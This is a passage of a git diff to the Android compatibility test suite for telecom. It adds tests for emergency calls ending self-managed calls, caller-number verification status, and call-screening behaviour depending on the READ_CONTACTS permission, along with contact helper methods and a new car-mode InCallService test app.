         connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
-        connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
+        connection.setMockPhoneAccountHandle(connectionManagerPhoneAccount);
         connection.setConnectionCapabilities(Connection.CAPABILITY_SUPPORT_HOLD |
                 Connection.CAPABILITY_HOLD
                 | Connection.CAPABILITY_SUPPORTS_VT_LOCAL_BIDIRECTIONAL
@@ -116,6 +121,16 @@
         Bundle testExtra = new Bundle();
         testExtra.putString(EXTRA_TEST, TEST_VALUE);
         connection.putExtras(testExtra);
+        if (VERSTAT_NOT_VERIFIED_NUMBER.equals(request.getAddress())) {
+            connection.setCallerNumberVerificationStatus(
+                    Connection.VERIFICATION_STATUS_NOT_VERIFIED);
+        } else if (VERSTAT_PASSED_NUMBER.equals(request.getAddress())) {
+            connection.setCallerNumberVerificationStatus(
+                    Connection.VERIFICATION_STATUS_PASSED);
+        } else if (VERSTAT_FAILED_NUMBER.equals(request.getAddress())) {
+            connection.setCallerNumberVerificationStatus(
+                    Connection.VERIFICATION_STATUS_FAILED);
+        }
 
         incomingConnections.add(connection);
         lock.release();
@@ -123,6 +138,16 @@
     }
 
     @Override
+    public void onCreateIncomingConnectionFailed(PhoneAccountHandle connectionManagerPhoneAccount,
+            ConnectionRequest request) {
+        final MockConnection connection = new MockConnection();
+        connection.setAddress(request.getAddress(), CONNECTION_PRESENTATION);
+        connection.setPhoneAccountHandle(connectionManagerPhoneAccount);
+        failedConnections.add(connection);
+        lock.release();
+    }
+
+    @Override
     public void onConference(Connection connection1, Connection connection2) {
         // Make sure that these connections are already not conferenced.
         if (connection1.getConference() == null && connection2.getConference() == null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
index 4f3bc668..ebdbf89 100644
--- a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountOperationsTest.java
@@ -28,6 +28,8 @@
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
 import java.lang.reflect.Method;
 import java.util.Arrays;
 import java.util.List;
@@ -197,6 +199,22 @@
             assertFalse("Enabled Phone accounts should not contain the test account.",
                     oldAccounts.contains(TEST_PHONE_ACCOUNT_HANDLE));
         }
+
+        try {
+            final List<PhoneAccountHandle> allAccounts =
+                    mTelecomManager.getCallCapablePhoneAccounts(true);
+            assertTrue("No results expected without READ_PRIVILEGED_PHONE_STATE",
+                    allAccounts.isEmpty());
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        final List<PhoneAccountHandle> allAccounts =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(mTelecomManager,
+                        (telecomManager) -> telecomManager.getCallCapablePhoneAccounts(true));
+        assertTrue("All Phone accounts should contain the test account.",
+                allAccounts.contains(TEST_PHONE_ACCOUNT_HANDLE));
+
         TestUtils.enablePhoneAccount(getInstrumentation(), TEST_PHONE_ACCOUNT_HANDLE);
         final List<PhoneAccountHandle> newAccounts = mTelecomManager.getCallCapablePhoneAccounts();
         assertNotNull("No enabled Phone account found.", newAccounts);
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
index e53d789..cab5d5a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
@@ -64,6 +64,12 @@
     }
 
     @Override
+    public void onDisconnect() {
+        super.onDisconnect();
+        disconnectAndDestroy();
+    }
+
+    @Override
     public void onShowIncomingCallUi() {
         mOnShowIncomingUiInvokeCounter.invoke();
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 94e5437..24135ce 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -37,6 +37,7 @@
 import java.util.function.Predicate;
 
 import static android.media.AudioManager.MODE_IN_COMMUNICATION;
+import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 import static android.telecom.cts.TestUtils.waitOnAllHandlers;
 
@@ -608,19 +609,56 @@
     }
 
     /**
+     * Start a self-managed call and then dial an emergency call and make sure the self-managed
+     * call is successfully disconnected.
+     */
+    public void testDisconnectSelfManagedCallForEmergency() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+
+        Uri address = getTestNumber();
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                TEST_SELF_MANAGED_HANDLE_1, address);
+        // Ensure Telecom bound to the self managed CS
+        if (!CtsSelfManagedConnectionService.waitForBinding()) {
+            fail("Could not bind to Self-Managed ConnectionService");
+        }
+        SelfManagedConnection connection = TestUtils.waitForAndGetConnection(address);
+        assertNotNull("Self-Managed Connection should NOT be null.", connection);
+        assertTrue("Self-Managed Connection should be outgoing.", !connection.isIncomingCall());
+        // The self-managed ConnectionService must NOT have been prompted to show its incoming call
+        // UI for an outgoing call.
+        assertEquals(connection.getOnShowIncomingUiInvokeCounter().getInvokeCount(), 0);
+        setActiveAndVerify(connection);
+
+        placeAndVerifyEmergencyCall(true /*supportsHold*/);
+        Call eCall = getInCallService().getLastCall();
+
+        assertIsInCall(true);
+        assertIsInManagedCall(true);
+        try {
+            TestUtils.waitOnAllHandlers(getInstrumentation());
+        } catch (Exception e) {
+            fail("Failed to wait on handlers " + e);
+        }
+        assertCallState(eCall, Call.STATE_DIALING);
+        // The self-managed Connection should be disconnected!
+        assertConnectionState(connection, Connection.STATE_DISCONNECTED);
+    }
+
+    /**
      * Start a managed emergency call and then ensure that a subsequent self-managed call fails to
      * be created.
      */
-    public void testEmergencyCallOngoing() throws Exception {
+    public void testEmergencyCallOngoingNewOutgoingCall() throws Exception {
         if (!mShouldTestTelecom) {
             return;
         }
 
-        final String testNumber = "5551212";
-        setupForEmergencyCalling(testNumber);
-        Bundle extras = new Bundle();
-        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, Uri.fromParts("tel", testNumber, null));
-        placeAndVerifyCall(extras);
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+        placeAndVerifyEmergencyCall(true /*supportsHold*/);
         assertIsInCall(true);
         assertIsInManagedCall(true);
         try {
@@ -629,7 +667,34 @@
             fail("Failed to wait on handlers " + e);
         }
 
-        // Try adding a self managed call.  It should fail to be created.
+        // Try adding a self managed outgoing call.  It should fail to be created.
+        TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+        assertTrue("Expected onCreateOutgoingConnectionFailed callback",
+                CtsSelfManagedConnectionService.getConnectionService().waitForUpdate(
+                        CtsSelfManagedConnectionService.CREATE_OUTGOING_CONNECTION_FAILED_LOCK));
+    }
+
+    /**
+     * Start a managed emergency call and then ensure that a subsequent self-managed call fails to
+     * be created.
+     */
+    public void testEmergencyCallOngoingIncomingCall() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+        placeAndVerifyEmergencyCall(true /*supportsHold*/);
+        assertIsInCall(true);
+        assertIsInManagedCall(true);
+        try {
+            TestUtils.waitOnAllHandlers(getInstrumentation());
+        } catch (Exception e) {
+            fail("Failed to wait on handlers " + e);
+        }
+
+        // Try adding a self managed incoming call.  It should fail to be created.
         TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
                 TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
         assertTrue("Expected onCreateIncomingConnectionFailed callback",
diff --git a/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
index 9569f1d..e4d28a4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SimCallManagerTest.java
@@ -30,6 +30,7 @@
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 
@@ -130,4 +131,12 @@
         TestUtils.setDefaultDialer(getInstrumentation(), mSystemDialer);
         assertNotSame(TEST_PHONE_ACCOUNT_HANDLE, mTelecomManager.getSimCallManager());
     }
+
+    public void testGetSimCallManagerForSub() {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        assertNull(mTelecomManager.getSimCallManagerForSubscription(
+                SubscriptionManager.DEFAULT_SUBSCRIPTION_ID));
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index b82a84e..6af49f3 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -18,6 +18,8 @@
 import android.app.Instrumentation;
 import android.bluetooth.BluetoothDevice;
 import android.content.ComponentName;
+import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.Color;
@@ -31,6 +33,7 @@
 import android.os.Process;
 import android.os.SystemClock;
 import android.os.UserManager;
+import android.provider.ContactsContract;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
@@ -659,6 +662,13 @@
                 mInvokeArgs.clear();
             }
         }
+
+        public void reset() {
+            synchronized (mLock) {
+                clearArgs();
+                mInvokeCount = 0;
+            }
+        }
     }
 
     private static long getCurrentUserSerialNumber(Instrumentation instrumentation) {
@@ -666,4 +676,37 @@
                 instrumentation.getContext().getSystemService(UserManager.class);
         return userManager.getSerialNumberForUser(Process.myUserHandle());
     }
+
+
+
+    public static Uri insertContact(ContentResolver contentResolver, String phoneNumber)
+            throws Exception {
+        ArrayList<ContentProviderOperation> ops = new ArrayList<>();
+        ops.add(ContentProviderOperation
+                .newInsert(ContactsContract.RawContacts.CONTENT_URI)
+                .withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, "test_type")
+                .withValue(ContactsContract.RawContacts.ACCOUNT_NAME, "test_name")
+                .build());
+        ops.add(ContentProviderOperation
+                .newInsert(ContactsContract.Data.CONTENT_URI)
+                .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+                .withValue(ContactsContract.Data.MIMETYPE,
+                        ContactsContract.CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
+                .withValue(ContactsContract.CommonDataKinds.StructuredName.DISPLAY_NAME, "test")
+                .build());
+        ops.add(ContentProviderOperation.newInsert(ContactsContract.Data.CONTENT_URI)
+                .withValueBackReference(ContactsContract.Data.RAW_CONTACT_ID, 0)
+                .withValue(ContactsContract.Data.MIMETYPE,
+                        ContactsContract.CommonDataKinds.Phone.CONTENT_ITEM_TYPE)
+                .withValue(ContactsContract.CommonDataKinds.Phone.NUMBER, phoneNumber)
+                .withValue(ContactsContract.CommonDataKinds.Phone.TYPE,
+                        ContactsContract.CommonDataKinds.Phone.TYPE_MOBILE)
+                .withYieldAllowed(true)
+                .build());
+        return contentResolver.applyBatch(ContactsContract.AUTHORITY, ops)[0].uri;
+    }
+
+    public static int deleteContact(ContentResolver contentResolver, Uri deleteUri) {
+        return contentResolver.delete(deleteUri, null, null);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
index 3251dbe..76c7c72 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyCallScreeningServiceTest.java
@@ -21,11 +21,14 @@
 
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
+import android.Manifest;
 import android.app.role.RoleManager;
 import android.content.ComponentName;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Bundle;
@@ -57,10 +60,14 @@
                     + "android.telecom.cts.screeningtestapp.CtsCallScreeningService";
     private static final int ASYNC_TIMEOUT = 10000;
     private static final String ROLE_CALL_SCREENING = RoleManager.ROLE_CALL_SCREENING;
+    private static final Uri TEST_OUTGOING_NUMBER = Uri.fromParts("tel", "6505551212", null);
 
     private ICallScreeningControl mCallScreeningControl;
     private RoleManager mRoleManager;
     private String mPreviousCallScreeningPackage;
+    private PackageManager mPackageManager;
+    private Uri mContactUri;
+    private ContentResolver mContentResolver;
 
     @Override
     protected void setUp() throws Exception {
@@ -69,12 +76,15 @@
             return;
         }
         mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
+        mPackageManager = mContext.getPackageManager();
+        revokeReadContactPermission();
         setupControlBinder();
         setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
         rememberPreviousCallScreeningApp();
         // Ensure CTS app holds the call screening role.
         addRoleHolder(ROLE_CALL_SCREENING,
                 CtsCallScreeningService.class.getPackage().getName());
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
     }
 
     @Override
@@ -109,10 +119,10 @@
 
         // Tell the test app to block the call.
         mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
-                true /* shouldRejectCall */, false /* shouldSilenceCall */, false /* shouldSkipCallLog */,
-                true /* shouldSkipNotification */);
+                true /* shouldRejectCall */, false /* shouldSilenceCall */,
+                false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
 
-        addIncomingAndVerifyBlocked();
+        addIncomingAndVerifyBlocked(false /* addContact */);
     }
 
     /**
@@ -129,10 +139,10 @@
 
         // Tell the test app to block the call; also try to skip logging the call.
         mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
-                true /* shouldRejectCall */, false /* shouldSilenceCall */, true /* shouldSkipCallLog */,
-                true /* shouldSkipNotification */);
+                true /* shouldRejectCall */, false /* shouldSilenceCall */,
+                true /* shouldSkipCallLog */, true /* shouldSkipNotification */);
 
-        addIncomingAndVerifyBlocked();
+        addIncomingAndVerifyBlocked(false /* addContact */);
     }
 
     /**
@@ -169,28 +179,159 @@
         addIncomingAndVerifyCallExtraForSilence(false);
     }
 
-    private Uri placeOutgoingCall() throws Exception {
+    public void testHasPermissionAndNoContactIncoming() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        grantReadContactPermission();
+        verifyPermission(true);
+        // Tell the test app to block the call.
+        mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+                true /* shouldRejectCall */, false /* shouldSilenceCall */,
+                false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+        addIncomingAndVerifyBlocked(false /* addContact */);
+    }
+
+    public void testNoPermissionAndNoContactIncoming() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        verifyPermission(false);
+        // Tell the test app to block the call.
+        mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+                true /* shouldRejectCall */, false /* shouldSilenceCall */,
+                false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+        addIncomingAndVerifyBlocked(false /* addContact */);
+    }
+
+    public void testHasPermissionAndHasContactIncoming() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        grantReadContactPermission();
+        verifyPermission(true);
+        mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+                true /* shouldRejectCall */, false /* shouldSilenceCall */,
+                false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+        addIncomingAndVerifyBlocked(true /* addContact */);
+    }
+
+    public void testNoPermissionAndHasContactIncoming() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        verifyPermission(false);
+        mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+                true /* shouldRejectCall */, false /* shouldSilenceCall */,
+                false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+        addIncomingAndVerifyAllowed(true /* addContact */);
+    }
+
+    public void testHasPermissionAndNoContactOutgoing() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        grantReadContactPermission();
+        verifyPermission(true);
+        placeOutgoingCall(false /* addContact */);
+        assertTrue(mCallScreeningControl.waitForBind());
+    }
+
+    public void testNoPermissionAndNoContactOutgoing() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        verifyPermission(false);
+        placeOutgoingCall(false /* addContact */);
+        assertTrue(mCallScreeningControl.waitForBind());
+    }
+
+    public void testHasPermissionAndHasContactOutgoing() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        grantReadContactPermission();
+        verifyPermission(true);
+        placeOutgoingCall(true /* addCountact */);
+        assertTrue(mCallScreeningControl.waitForBind());
+    }
+
+    public void testNoPermissionAndHasContactOutgoing() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        verifyPermission(false);
+        placeOutgoingCall(true /* addCountact */);
+        assertFalse(mCallScreeningControl.waitForBind());
+    }
+
+    public void testNoPostCallActivityWithoutRole() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        removeRoleHolder(ROLE_CALL_SCREENING, CtsCallScreeningService.class.getPackage().getName());
+        addIncomingAndVerifyAllowed(false);
+        assertFalse(mCallScreeningControl.waitForActivity());
+    }
+
+    public void testAllowCall() throws Exception {
+        mCallScreeningControl.setCallResponse(false /* shouldDisallowCall */,
+                false /* shouldRejectCall */, false /* shouldSilenceCall */,
+                false /* shouldSkipCallLog */, false /* shouldSkipNotification */);
+        addIncomingAndVerifyAllowed(false /* addContact */);
+        assertTrue(mCallScreeningControl.waitForActivity());
+    }
+
+    public void testNoPostCallActivityWhenBlocked() throws Exception {
+        mCallScreeningControl.setCallResponse(true /* shouldDisallowCall */,
+                true /* shouldRejectCall */, false /* shouldSilenceCall */,
+                false /* shouldSkipCallLog */, true /* shouldSkipNotification */);
+        addIncomingAndVerifyBlocked(false /* addContact */);
+        assertFalse(mCallScreeningControl.waitForActivity());
+    }
+
+    private void placeOutgoingCall(boolean addContact) throws Exception {
         // Setup content observer to notify us when we call log entry is added.
         CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
 
-        Uri phoneNumber = createRandomTestNumber();
+        Uri contactUri = null;
+        if (addContact) {
+            contactUri = TestUtils.insertContact(mContentResolver,
+                    TEST_OUTGOING_NUMBER.getSchemeSpecificPart());
+        }
         Bundle extras = new Bundle();
-        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, phoneNumber);
+        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_OUTGOING_NUMBER);
         // Create a new outgoing call.
         placeAndVerifyCall(extras);
 
+        if (addContact) {
+            assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri));
+        }
+
         mInCallCallbacks.getService().disconnectAllCalls();
         assertNumCalls(mInCallCallbacks.getService(), 0);
 
         // Wait for it to log.
         callLogEntryLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
-        return phoneNumber;
     }
 
-    private Uri addIncoming(boolean disconnectImmediately) throws Exception {
+    private Uri addIncoming(boolean disconnectImmediately, boolean addContact) throws Exception {
         // Add call through TelecomManager; we can't use the test methods since they assume a call
         // makes it through to the InCallService; this is blocked so it shouldn't.
         Uri testNumber = createRandomTestNumber();
+        if (addContact) {
+            mContactUri = TestUtils.insertContact(mContentResolver,
+                    testNumber.getSchemeSpecificPart());
+        }
 
         // Setup content observer to notify us when we call log entry is added.
         CountDownLatch callLogEntryLatch = getCallLogEntryLatch();
@@ -213,11 +354,36 @@
         return testNumber;
     }
 
-    private void addIncomingAndVerifyBlocked() throws Exception {
-        Uri testNumber = addIncoming(false);
+    private void addIncomingAndVerifyAllowed(boolean addContact) throws Exception {
+        Uri testNumber = addIncoming(true, addContact);
 
         // Query the latest entry into the call log.
-        Cursor callsCursor = mContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null,
+        Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null,
+                null, null, CallLog.Calls._ID + " DESC limit 1;");
+        int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
+        int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE);
+        int blockReasonIndex = callsCursor.getColumnIndex(CallLog.Calls.BLOCK_REASON);
+        if (callsCursor.moveToNext()) {
+            String number = callsCursor.getString(numberIndex);
+            int callType = callsCursor.getInt(callTypeIndex);
+            int blockReason = callsCursor.getInt(blockReasonIndex);
+            assertEquals(testNumber.getSchemeSpecificPart(), number);
+            assertEquals(CallLog.Calls.INCOMING_TYPE, callType);
+            assertEquals(CallLog.Calls.BLOCK_REASON_NOT_BLOCKED, blockReason);
+        } else {
+            fail("Call not logged");
+        }
+
+        if (addContact && mContactUri != null) {
+            assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri));
+        }
+    }
+
+    private void addIncomingAndVerifyBlocked(boolean addContact) throws Exception {
+        Uri testNumber = addIncoming(false, addContact);
+
+        // Query the latest entry into the call log.
+        Cursor callsCursor = mContentResolver.query(CallLog.Calls.CONTENT_URI, null,
                 null, null, CallLog.Calls._ID + " DESC limit 1;");
         int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
         int callTypeIndex = callsCursor.getColumnIndex(CallLog.Calls.TYPE);
@@ -240,11 +406,15 @@
         } else {
             fail("Blocked call was not logged.");
         }
+
+        if (addContact && mContactUri != null) {
+            assertEquals(1, TestUtils.deleteContact(mContentResolver, mContactUri));
+        }
     }
 
     private void addIncomingAndVerifyCallExtraForSilence(boolean expectedIsSilentRingingExtraSet)
             throws Exception {
-        Uri testNumber = addIncoming(false);
+        Uri testNumber = addIncoming(false, false);
 
         waitUntilConditionIsTrueOrTimeout(
                 new Condition() {
@@ -349,4 +519,26 @@
         assertTrue(result);
     }
 
+    private void grantReadContactPermission() {
+        runWithShellPermissionIdentity(() -> {
+            if (mPackageManager != null) {
+                mPackageManager.grantRuntimePermission(TEST_APP_PACKAGE,
+                        Manifest.permission.READ_CONTACTS, mContext.getUser());
+            }});
+    }
+
+    private void revokeReadContactPermission() {
+        runWithShellPermissionIdentity(() -> {
+                if (mPackageManager != null) {
+                    mPackageManager.revokeRuntimePermission(TEST_APP_PACKAGE,
+                            Manifest.permission.READ_CONTACTS, mContext.getUser());
+                }});
+    }
+
+    private void verifyPermission(boolean hasPermission) {
+        assertEquals(hasPermission,
+                mPackageManager.checkPermission
+                        (Manifest.permission.READ_CONTACTS, TEST_APP_PACKAGE)
+                        == PackageManager.PERMISSION_GRANTED);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
index f0f6287..d5f088a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceTest.java
@@ -46,7 +46,6 @@
 
     private static final String TAG = ThirdPartyInCallServiceTest.class.getSimpleName();
     private static final String ROLE_COMPANION_APP = "android.app.role.CALL_COMPANION";
-    private static final String ROLE_CAR_MODE_DIALER_APP = "android.app.role.CAR_MODE_DIALER";
     private static final Uri sTestUri = Uri.parse("tel:555-TEST");
     private Context mContext;
     private UiModeManager mUiModeManager;
@@ -71,30 +70,17 @@
 
         mThirdPartyPackageName = CtsThirdPartyInCallService.class.getPackage().getName();
 
-        // Ensure no ThirdPartyInCallService serves as a car mode dialer app or companion app.
+        // Ensure no ThirdPartyInCallService serves as a companion app.
         // (Probably from previous test failures, if any.)
-        mCtsRoleManagerAdapter.removeAutomotiveRoleHolder(mThirdPartyPackageName);
         mCtsRoleManagerAdapter.removeCompanionAppRoleHolder(mThirdPartyPackageName);
-
-        // Cache current role holder.
-        cacheCurrentRoleHolder(ROLE_CAR_MODE_DIALER_APP);
     }
 
     @Override
     public void tearDown() throws Exception {
         mICtsThirdPartyInCallServiceControl.resetCalls();
-
-        // Disable car mode and remove any third party car mode assigned before tear down.
-        mCtsRoleManagerAdapter.removeAutomotiveRoleHolder(mThirdPartyPackageName);
         // Remove the third party companion app before tear down.
         mCtsRoleManagerAdapter.removeCompanionAppRoleHolder(mThirdPartyPackageName);
 
-        // Restore cached car mode role holder.
-        if (!TextUtils.isEmpty(mPreviousRoleHolder)) {
-            mCtsRoleManagerAdapter.addAutomotiveRoleHolder(mPreviousRoleHolder);
-        }
-        mUiModeManager.disableCarMode(0);
-
         super.tearDown();
         if (!mSkipNullUnboundLatch) {
             assertBindStatus(/* true: bind, false: unbind */false, /* expected result */true);
@@ -131,17 +117,6 @@
         mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
     }
 
-    public void doNotTestCallWithThirdPartyCarModeApp() throws Exception {
-        // Set car mode app default.
-        mCtsRoleManagerAdapter.addAutomotiveRoleHolder(mThirdPartyPackageName);
-        assertEquals(mThirdPartyPackageName,
-                mCtsRoleManagerAdapter.getRoleHolders(ROLE_CAR_MODE_DIALER_APP).get(0));
-
-        mUiModeManager.enableCarMode(0);
-        addAndVerifyNewIncomingCallInCarMode(sTestUri, null);
-        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(true);
-    }
-
     private void addAndVerifyNewIncomingCallInCarMode(Uri incomingHandle, Bundle extras)
             throws RemoteException {
         int currentCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
diff --git a/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java b/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
index 7f2b27b..ff9c7c2 100644
--- a/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/VideoCallTest.java
@@ -103,7 +103,7 @@
         }
 
         placeAndVerifyCall(VideoProfile.STATE_AUDIO_ONLY);
-        verifyConnectionForOutgoingCall();
+        Connection connection = verifyConnectionForOutgoingCall();
 
         final MockInCallService inCallService = mInCallCallbacks.getService();
         final Call call = inCallService.getLastCall();
@@ -114,6 +114,7 @@
         InCallService.VideoCall videoCall = call.getVideoCall();
         videoCall.sendSessionModifyRequest(new VideoProfile(VideoProfile.STATE_BIDIRECTIONAL));
         assertVideoState(call, VideoProfile.STATE_BIDIRECTIONAL);
+        assertEquals(VideoProfile.STATE_BIDIRECTIONAL, connection.getVideoState());
         assertResponseVideoProfileReceived(inCallService.getVideoCallCallback(call),
                 VideoProfile.STATE_BIDIRECTIONAL);
     }
diff --git a/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
new file mode 100644
index 0000000..d4da08a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/carmodetestapp/CtsCarModeInCallService.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts.carmodetestapp;
+
+import android.content.Intent;
+import android.telecom.Call;
+import android.telecom.InCallService;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * A simple car-mode InCallService implementation.
+ */
+public class CtsCarModeInCallService extends InCallService {
+    private static final String TAG = CtsCarModeInCallService.class.getSimpleName();
+    private static boolean sIsServiceBound = false;
+    private static boolean sIsServiceUnbound = false;
+    private static CtsCarModeInCallService sInstance = null;
+    private int mCallCount = 0;
+    private List<Call> mCalls = new ArrayList<>();
+
+    @Override
+    public android.os.IBinder onBind(Intent intent) {
+        sIsServiceBound = true;
+        sIsServiceUnbound = false;
+        sInstance = this;
+        Log.i(TAG, "InCallService on bind");
+        return super.onBind(intent);
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        sIsServiceBound = false;
+        sIsServiceUnbound = true;
+        sInstance = null;
+        Log.i(TAG, "InCallService on unbind");
+        return super.onUnbind(intent);
+    }
+
+    @Override
+    public void onCallAdded(Call call) {
+        Log.i(TAG, "onCallAdded - " + call);
+        mCallCount++;
+        mCalls.add(call);
+    }
+
+    @Override
+    public void onCallRemoved(Call call) {
+        Log.i(TAG, "onCallRemoved - " + call);
+        mCallCount--;
+        mCalls.remove(call);
+    }
+
+    public static boolean isBound() {
+        return sIsServiceBound;
+    }
+
+    public static boolean isUnbound() {
+        return sIsServiceUnbound;
+    }
+
+    public static CtsCarModeInCallService getInstance() {
+        return sInstance;
+    }
+
+    public static void reset() {
+        sIsServiceUnbound = false;
+        sIsServiceBound = false;
+    }
+
+    public int getCallCount() {
